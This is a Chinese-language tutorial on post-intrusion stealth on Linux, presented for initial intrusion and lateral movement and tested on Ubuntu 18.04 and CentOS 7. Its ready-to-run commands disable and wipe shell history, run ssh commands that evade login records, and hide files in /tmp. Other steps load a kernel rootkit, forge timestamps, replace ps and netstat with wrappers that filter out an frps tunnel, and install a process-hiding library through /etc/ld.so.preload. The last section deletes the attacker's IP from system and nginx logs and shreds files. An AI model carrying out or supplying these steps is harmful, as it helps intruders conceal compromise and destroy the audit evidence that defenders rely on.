Linux 隐匿技术
前置知识
知识点
CentOS 和 Ubuntu 对历史命令 history 的处理逻辑有所不同,对于历史命令的隐匿操作并不通用。由 Linux 历史命令隐匿展开,整理了一些其他的 Linux 隐匿知识点,适用于初始入侵或横向移动阶段。
本文目标:
- 如何在 ssh 访问远程主机时不留下任何痕迹?
- 如何才能实现当前 shell 上执行的所有历史命令都不被记录?
- 如何隐藏目录/文件/进程,规避检测或减慢排查速度?
- 如果不小心留下了痕迹,如何进行快速清理并增加文件恢复难度?
目录如下:
- Linux 历史命令隐藏
- 不记录历史命令
- 清除历史命令
- Linux SSH 隐藏
- 在不登陆的前提下执行命令
- 禁用伪终端分配
- Linux 进程隐匿
- 伪造 ps/netstat
- LD_PRELOAD
- Rootkit 进程隐藏
- Linux 文件隐匿
- 隐藏文件和目录
- Rootkit 文件隐藏
- 修改文件权限
- 隐藏时间戳
- Linux 痕迹清理
- 日志清理
- 文件清理
实验环境
Ubuntu 18.04
CentOS 7
工具
- https://github.com/gianlucaborello/libprocesshider
- https://github.com/xcellerator/linux_kernel_hacking
Linux 历史命令隐匿
首先,我们提出一些问题:
- 当我们获取一个 bash shell 时,为什么在
.bash_history
文件上无法找到当前执行的任何命令,但是可以在history
命令的执行结果中看到? - 当我们对比
.bash_history
文件和history
执行结果中的历史命令时,为什么通常history
命令的执行结果中包含更多的记录? - 当我们打开/关闭了一个 bash shell 的时候,将发生什么?
.bash_history 与环境变量
然后,我们尝试解答提出的问题:
- 当我们打开一个 bash shell 时,它将读取
.bash_history
文件的内容,并将其加载到history
的记录列表中。 - 当我们在一个 bash shell 中执行命令时,这些命令将被追加到
history
的记录列表,暂存在内存中。 - 当我们关闭当前 bash shell 时,追加到
history
记录列表中的命令将被写入到.bash_history
文件中持久化保存。
在 Linux 中,有以下几个环境变量与 .bash_history
密切相关:
HISTFILE # 设置历史命令记录文件的位置
HISTFILESIZE # 设置历史记录文件中的最大行数
HISTSIZE # 设置每个会话中记录历史命令的最大行数
HISTIGNORE # 设置保存历史记录时将忽略的命令
HISTCONTROL # 设置保存历史记录时的将遵循的策略
其中,环境变量 HISTCONTROL
的选项如下:
ignoredups # 默认,忽略重复命令
ignorespace # 忽略所有以空格开头的命令
ignoreboth # 忽略重复命令和所有以空格开头的命令
erasedups # 删除历史记录中重复命令,相同的指令仅保留最近的一个
以下是设置这些环境变量的一些示例:
# 历史命令记录文件的位置默认为~/.bash_history,如果不想保存历史文件,可以unset这个环境变量
export HISTFILE=~/.bash_history
# 以~/.bash_history为例,设置了历史记录文件中包含的最大行数为2000
export HISTFILESIZE=2000
# 一个shell会话最多可以保存1000条历史命令
export HISTSIZE=1000
# 保存历史记录时将忽略的命令,以 : 作为分隔符
# & 代表和上一条历史记录相同的记录
# [ ]* 代表以空格开头的历史记录
# exit 忽略exit命令
# history 忽略history命令
export HISTIGNORE="&:[ ]*:exit:history"
注意, export=xxx
仅对当前会话生效,永久生效需要做类似如下配置:
[root@VPS ~]# echo HISTCONTROL=ignorespace >> ~/.bashrc
[root@VPS ~]# source ~/.bashrc
不记录历史命令
临时禁用历史命令记录
# 临时禁用历史命令记录
root@ubuntu:~# set +o history
# 重新开启历史命令记录
root@ubuntu:~# set -o history
Ubuntu 18.04
在 Ubuntu 18.04 中,临时禁用历史命令记录的方式是生效的,并且执行了 set +o history
后,当前会话的所有命令都不会被记录:
# 当前会话的所有命令都不会被记录
root@ubuntu:~# echo 1
root@ubuntu:~# set +o history
root@ubuntu:~# echo 2
root@ubuntu:~# exit
如果执行了 set +o history
,则只有 set 区间内的命令不被记录:
root@ubuntu:~# echo 3 # 被记录
root@ubuntu:~# set +o history # 被记录,因为set +o history执行完后才开始不记录命令
root@ubuntu:~# echo 4 # 不被记录,set区间内执行的命令
root@ubuntu:~# set -o history # 不被记录,set区间内执行的命令
root@ubuntu:~# exit # 被记录,因为此时set -o history已经执行完毕,记录重新开始
CentOS 7
但在 CentOS 7 中,临时禁用历史命令记录会留下 set +o history
这条命令:
[root@VPS ~]# set +o history
命令前插入空格 <SPACE>
如果环境变量 HISTCONTROL
配置为 ignorespace
或 ignoreboth
,那么在命令中插入空格,当前命令将被忽略,不被记录到历史命令中:
[SPACE]set +o history
注意,不是所有的系统都默认将环境变量 HISTCONTROL
配置为 ignorespace
或 ignoreboth
。以 Ubuntu 18.04 和 CentOS 7 系统为例:
[Ubuntu 18.04]
root@ubuntu:~# echo $HISTCONTROL
ignoredups:ignorespace
[CentOS]
[root@CentOS ~]# echo $HISTCONTROL
ignoredups
可以看到,Ubuntu 18.04 系统默认忽略以空格开头的命令和重复命令,CentOS 7 仅忽略重复命令。
Ubuntu 18.04
在 Ubuntu 18.04 执行命令 <SPACE>set +o history
并关闭终端:
root@ubuntu:~# set +o history
命令不被记录:
CentOS 7
在 CentOS 7 执行命令 <SPACE>set +o history
并关闭终端:
[root@VPS ~]# set +o history
命令依然被记录:
设置记录历史命令的最大行数 HISTSIZE
在获取 shell 后,首先修改环境变量 HISTSIZE
:
# 将history可保存的历史命令条数设置为0
export HISTSIZE=0
Ubuntu 18.04
在 Ubuntu 18.04 中,当前 shell 的所有历史命令都将不被记录,不论 export HISTSIZE=0
前是否执行了命令。
CentOS 7
在 CentOS7 中,export HISTSIZE=0
前执行的命令将被记录, export HISTSIZE=0
后执行的命令不被记录。
设置历史命令记录文件的位置 HISTFILE
在获取 shell 后,丢弃当前 shell 的所有历史记录:
export HISTFILE=/dev/null
或者直接 unset
变量:
unset HISTFILE
Ubuntu 18.04
在 Ubuntu 18.04 中,当前 shell 的所有历史命令都将不被记录,不论 export HISTFILE=/dev/null
前是否执行了命令。
CentOS 7
在 CentOS 7 中,export HISTFILE=/dev/null
前执行的命令将被记录, export HISTFILE=/dev/null
后执行的命令不被记录。
清除历史命令
清除当前 shell 全部 history
清除当前 shell 的历史记录,但不影响 HISTFILE
:
# -c 清空历史列表,但不影响HISTFILE
# -w 将当前历史记录列表附加到HISTFILE
[root@VPS ~]# history -cw
清除当前 shell 指定 history
清除当前 shell 第 3 条命令,但当前命令会被记录:
# -d offset 根据offset删除记录。如果是正数则表示offset位置的记录,如果为负数则表示从结尾向前offset位置的记录
[root@VPS ~]# history -d 3
清除当前 shell 第 150 条到文件结尾的所有命令,但当前命令会被记录:
[root@VPS ~]# sed -i '150,$d' ~/.bash_history
小结
结合 Ubuntu 18.04 和 CentOS 7 的执行结果,如果拿到一个 bash shell,首先修改环境变量,将 history
可保存的历史命令条数设置为 0,或丢弃当前 shell 的所有历史记录(无论 Ubuntu 还是 CentOS 均生效):
[root@VPS ~]# export HISTSIZE=0
# or
[root@VPS ~]# export HISTFILE=/dev/null
可以再加两层保险:
[root@VPS ~]# export HISTCONTROL=ignoreboth
[root@VPS ~]# [SPACE]set +o history
# 关闭shell前
[root@VPS ~]# [SPACE]history -cw
注意,以上所有操作仅针对当前 shell 生效。
Linux SSH 隐匿
首先,我们提出一些问题:
- 当我们通过 ssh 连接服务器时,服务器为用户分配了什么终端?
- 当我们通过 ssh 连接执行命令,退出当前终端后,命令会被持久化到
.bash_history
文件吗? - 当我们想要在远程系统上运行命令或脚本,在不进行 ssh 登陆的条件下,具体应该如何操作?
在不登陆的前提下执行命令
执行单个命令
通过 ssh 在远程系统上执行单个命令:
ssh root@127.0.0.1 uname -a
# or
ssh root@127.0.0.1 "uname -a"
此时未分配交互式 shell,执行的命令不会被持久化到 .bash_history
文件中,也不会被 last
命令捕获。
执行多个命令
通过 ssh 在远程系统上执行多个命令:
ssh root@127.0.0.1 "uname -a && hostname -I"
# or
ssh root@127.0.0.1 "uname -a ; hostname -I"
同样,执行的命令不会被持久化到 .bash_history
文件中,也不会被 last
命令捕获。
执行自定义脚本
本地自定义脚本 info.sh
:
#!/bin/bash
echo /etc/*_ver* /etc/*-rel*; cat /etc/*_ver* /etc/*-rel*
在远程目标机器上执行本地自定义脚本:
ssh root@127.0.0.1 "bash -s" < info.sh
同样,执行的命令不会被持久化到 .bash_history
文件中,也不会被 last
命令捕获。
禁用伪终端分配
伪终端(pty,pseudo terminal)的应用场景:
- 在图形化界面下打开的命令行终端
- 基于 ssh 协议或 telnet 协议等远程打开的命令行界面
# -T 禁用伪终端分配,不会被 w、who、last 等命令检测到
[root@VPS ~]# ssh -T root@127.0.0.1 /bin/bash -i
但此时的 ssh 连接依然会被 netstat、ps 等命令检测:
注意,当前会话关闭后,执行的命令会被持久化到 ~/.bash_history
文件中,此外,登录信息能够被 last
命令捕获。
Linux 文件隐匿
隐藏文件和目录
Linux 的 /tmp
目录下通常存在一些隐藏目录,例如 /tmp/.X11-unix
,用于存放 Unix-domain Socket。恶意文件也通常存放在这些位置,例如:
.ICE-unix
.X11-unix
.XIM-unix
...
在隐藏目录下创建隐藏文件:
touch /tmp/.X11-unix/.file.php
Rootkit 文件隐藏
项目地址: https://github.com/xcellerator/linux_kernel_hacking
通过 Rootkit 对 .file.php
做文件隐藏:
[root@VPS]# make
[root@VPS]# insmod rootkit.ko # 加载
[root@VPS]# rmmod rootkit # 卸载
可以看到文件 /tmp/.X11-unix/.file.php
已经被隐藏:
但实际上该文件依然存在:
目录隐藏同理,相同方式实现。
修改文件权限
命令 chattr
可以防止 root 和其他用户删除文件,该权限使用命令 ls -al
无法排查:
chattr +i .file.php # 锁定文件
lsattr .file.php # 属性查看
rm -rf .file.php # 删除文件失败,Operation not permitted
chattr -i .file.php # 解除锁定
rm -rf .file.php # 删除文件成功
隐藏时间戳
修改时间戳为指定时间:
# 修改时间戳为2024年09月06日
touch -t 2409061654.30 .file.php
参考其他文件时间戳,赋予相同时间:
# 将.file.php时间戳修改为和index.php一样
touch -r index.php .file.php
但是,隐藏时间戳的方式可以通过 stat
命令进行排查,Change Time 和 Birth Time 依然可以在某种程度上提供恶意文件创建的相关信息:
Linux 进程隐匿
伪造 ps
命令 echo $PATH
显示当前 PATH 环境变量,该变量的值由一系列以冒号分隔的目录名组成。当执行程序时,shell 将自动根据该顺序去搜索程序。
[root@VPS ~]# echo $PATH
-----
# [Ubuntu]
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
# [CentOS]
/root/.local/bin:/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin
查看 ps
路径:
(base) ➜ ~ whereis ps
ps: /usr/bin/ps /usr/share/man/man1/ps.1.gz
(base) ➜ ~ which ps
/usr/bin/ps
以 frp server 为例,通过 ps
查看进程:
创建一个伪造的 ps
,路径为 /usr/local/bin/ps
:
# !/bin/bash
/usr/bin/ps $@ | grep -Ev 'frps'
赋予执行权:
chmod +x /usr/local/bin/ps
通过伪造的 ps
查看进程,此时 frps
已经被排除:
需要注意的是,伪造 ps
后,需要重启 shell 才生效。如果有一个远程 shell 一直保持连接,即使此时 /usr/local/bin/ps
已经伪造成功,远程 shell 依旧调用的是 /usr/bin/ps
中的原始 ps
:
伪造 netstat
查看 netstat
路径:
(base) ➜ ~ whereis netstat
netstat: /usr/bin/netstat /usr/share/man/man8/netstat.8.gz
(base) ➜ ~ which netstat
/usr/bin/netstat
以 frp server 和 ssh 为例,通过 netstat
查看进程:
创建一个伪造的 netstat
,路径为 /usr/local/bin/netstat
,可以通过 grep
屏蔽进程名、IP 或端口:
# !/bin/bash
/usr/bin/netstat $@ | grep -Ev 'frps|22'
赋予执行权:
chmod +x /usr/local/bin/netstat
通过伪造的 netstat
查看进程,frps
和 sshd
已经被隐藏。同样,需要重启 shell 才生效:
LD_PRELOAD
LD_PRELOAD
是 Linux 系统的一个环境变量,它可以影响程序的运行时的链接,允许定义在程序运行前优先加载的动态链接库。
项目地址: https://github.com/gianlucaborello/libprocesshider
# 下载
[root@VPS ~]# git clone https://github.com/gianlucaborello/libprocesshider.git
# 编译
[root@VPS ~]# cd libprocesshider && make
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
# 移动至/usr/local/lib/并使用全局动态链接器加载
[root@VPS ~]# sudo mv libprocesshider.so /usr/local/lib/
[root@VPS ~]# echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
以 frp server 为例,先修改 processhider.c
指定程序名:
编译并上传到目标机器加载:
进程隐藏前执行 ps -aux
, 可以看到 frps
进程:
进程隐藏后执行 ps -aux
或 lsof
命令,frps
进程不可见:
但由于是监听类进程,执行 netstart -anlptu
依然可以看到 frps
相关的网络连接,端口存在,但 PID 和进程名被隐藏:
Rootkit 进程隐藏
通过内核 Hook 系统调用主要有两种方式:
- 早期的方式中通常直接修改内核内存中的
sys_call_table
结构。 - 更加现代的方式是使用
ftrace
,适用于 >5.7 的 Linux 版本系统。
项目地址: https://github.com/xcellerator/linux_kernel_hacking
以 frp server 为例,通过 Rootkit 实现对 frps
的进程隐藏:
[root@VPS]# make
[root@VPS]# insmod rootkit.ko # 加载
[root@VPS]# kill -64 128710 # 128710为frps的PID
[root@VPS]# rmmod rootkit # 卸载
可以看到 frps
的 PID 和进程名已经被隐藏,同样,由于是监听类进程,端口连接依然存在:
Linux 痕迹清理
日志清理
从日志中删除或替换指定 IP:
# 删除指定IP
sed -i '/<YOUR-IP>/'d /var/log/secure
# 替换指定IP
sed -i 's/<YOUR-IP>/127.0.0.1/g' /var/log/nginx/access.log
清除日志中相关信息,覆盖原日志文件:
# 清除日志中相关信息
cat /var/log/nginx/access.log | grep -v evil.php > tmp.log
# 把修改过的日志覆盖到原日志文件
cat tmp.log > /var/log/nginx/access.log
文件清理
使用更安全的方式删除文件:
# shred命令可以重复地覆盖指定的文件,以隐藏或清除其数据内容
# -f, --force 更改权限以允许在必要时进行写入
# -n, --iterations=N 覆盖文件指定的次数(默认3次)
# -u, --remove 覆盖并删除文件
# -v, --verbose 显示处理过程
# -z, --zero 附加一次全零覆盖以隐藏清除的数据
[root@VPS ~]# shred -f -u -z -v -n 5 .file.php
-
Linux 隐匿技术
- 前置知识
- 知识点
- 实验环境
- 工具
- Linux 历史命令隐匿
- .bash_history 与环境变量
- 不记录历史命令
- 临时禁用历史命令记录
- Ubuntu 18.04
- CentOS 7
- 命令前插入空格 <SPACE>
- Ubuntu 18.04
- CentOS 7
- 设置记录历史命令的最大行数 HISTSIZE
- Ubuntu 18.04
- CentOS 7
- 设置历史命令记录文件的位置 HISTFILE
- Ubuntu 18.04
- CentOS 7
- 清除历史命令
- 清除当前 shell 全部 history
- 清除当前 shell 指定 history
- 小结
- Linux SSH 隐匿
- 在不登陆的前提下执行命令
- 执行单个命令
- 执行多个命令
- 执行自定义脚本
- 禁用伪终端分配
- Linux 文件隐匿
- 隐藏文件和目录
- Rootkit 文件隐藏
- 修改文件权限
- 隐藏时间戳
- Linux 进程隐匿
- 伪造 ps
- 伪造 netstat
- LD_PRELOAD
- Rootkit 进程隐藏
- Linux 痕迹清理
- 日志清理
- 文件清理